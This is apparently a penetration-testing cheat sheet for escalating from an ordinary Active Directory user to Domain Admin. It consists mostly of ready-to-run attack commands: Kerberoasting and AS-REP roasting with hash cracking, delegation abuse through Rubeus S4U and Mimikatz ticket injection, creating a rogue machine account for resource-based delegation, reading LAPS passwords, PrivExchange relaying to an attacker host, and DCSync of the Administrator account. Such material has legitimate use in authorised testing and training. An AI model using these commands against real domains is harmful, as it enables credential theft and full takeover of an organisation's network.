Domain Privilege Escalation
Advanced techniques to escalate privileges from regular domain user to Domain Admin through Kerberos attacks and delegation abuse.
Methodology
- 1Identify Kerberoastable accounts
- 2Exploit unconstrained/constrained delegation
- 3Abuse resource-based constrained delegation
- 4Leverage LAPS misconfigurations
- 5Exploit Exchange servers (PrivExchange)
- 6ACL-based privilege escalation
Detailed Steps
Request TGS for accounts with SPN:
powershell
# PowerView
Get-DomainUser -SPN
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
.\Rubeus.exe kerberoast /user:svc_account /simple /outfile:hash.txt
# Invoke-Kerberoast
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat | fl
# Request specific user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"Crack with Hashcat:
bash
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --forceTargeted Kerberoasting (stealthier):
powershell
.\Rubeus.exe kerberoast /user:svc_sql /simpleUsers with "Do not require Kerberos preauthentication":
powershell
# PowerView
Get-DomainUser -PreauthNotRequired
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
.\Rubeus.exe asreproast /user:testuser /format:hashcatImpacket (Linux):
bash
python3 GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
python3 GetNPUsers.py domain.local/user:password -requestCrack with Hashcat:
bash
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --forceFind machines with unconstrained delegation:
powershell
# PowerView
Get-DomainComputer -Unconstrained
# AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $true}
Get-ADUser -Filter {TrustedForDelegation -eq $true}Exploitation:
powershell
# 1. Compromise machine with unconstrained delegation
# 2. Trigger admin authentication to your machine (e.g., via SpoolService)
# 3. Extract TGT from memory
# Monitor for TGTs
Invoke-Mimikatz -Command '"sekurlsa::tickets"'
# Use Rubeus to monitor
.\Rubeus.exe monitor /interval:5 /filteruser:dc01$
# Trigger authentication (PrinterBug)
.\MS-RPRN.exe \\dc01 \\compromised-machine
# Wait for TGT to arrive, then extract
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
# Inject ticket
Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'Find accounts with constrained delegation:
powershell
# PowerView
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
# AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateToExploitation with Rubeus:
powershell
# Request TGT for account with constrained delegation
.\Rubeus.exe asktgt /user:svc_account /rc4:NTLM_HASH /domain:dollarcorp.moneycorp.local
# Request TGS for allowed service using S4U
.\Rubeus.exe s4u /ticket:TGT.kirbi /impersonateuser:Administrator /msdsspn:cifs/dcorp-dc.dollarcorp.moneycorp.local /ptt
# Alternative services (if HTTP is allowed, you can request others)
.\Rubeus.exe s4u /ticket:TGT.kirbi /impersonateuser:Administrator /msdsspn:cifs/dcorp-dc /altservice:ldap,http /pttKekeo alternative:
shell
# Request TGT
tgt::ask /user:svc_account /domain:dollarcorp.moneycorp.local /rc4:HASH
# S4U request
tgs::s4u /tgt:TGT.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-dc.dollarcorp.moneycorp.localPrerequisites:
- Write access to msDS-AllowedToActOnBehalfOfOtherIdentity attribute
- Control over a computer account or ability to create one
powershell
# Find computers where you have write access
Find-InterestingDomainAcl | ?{$_.identityreferencename -match 'student'}
# Create a new computer account (if MachineAccountQuota > 0)
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount evilcomputer -Password $(ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force)
# Configure RBCD on target computer
$ComputerSid = Get-DomainComputer evilcomputer -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer targetcomputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Request TGT for our computer
.\Rubeus.exe asktgt /user:evilcomputer$ /rc4:HASH /domain:dollarcorp.moneycorp.local /dc:dc01
# Perform S4U to impersonate Administrator
.\Rubeus.exe s4u /ticket:TGT.kirbi /impersonateuser:Administrator /msdsspn:cifs/targetcomputer.dollarcorp.moneycorp.local /ptt
# Access target
ls \\targetcomputer\c$Local Administrator Password Solution enumeration:
powershell
# Check if LAPS is enabled
Get-DomainComputer | ? {$_."ms-mcs-admpwdexpirationtime" -ne $null} | select dnsHostName
# Find who can read LAPS passwords
Get-DomainObjectAcl -Identity "DC01" | ? {$_.ObjectAceType -eq "ms-mcs-admpwd"} | select SecurityIdentifier
# Read LAPS password (if you have rights)
Get-DomainComputer -Identity dc01 -Properties ms-mcs-admpwd | select -ExpandProperty ms-mcs-admpwd
# AD Module
Get-ADComputer -Identity dc01 -Properties ms-mcs-admpwd | select -ExpandProperty ms-mcs-admpwdAbuse Exchange's high privileges:
bash
# Run PrivExchange to coerce Exchange to authenticate to attacker
python privexchange.py -ah attacker_ip -d domain.local -u user -p password exchange.domain.local
# On attacker machine, run ntlmrelayx to relay to LDAP
python ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user lowpriv_user
# After relay, lowpriv_user will have DCSync rightsDCSync with acquired privileges:
powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\Administrator"'Tools
RubeusPowerViewMimikatzPowermadPrivExchangeImpacket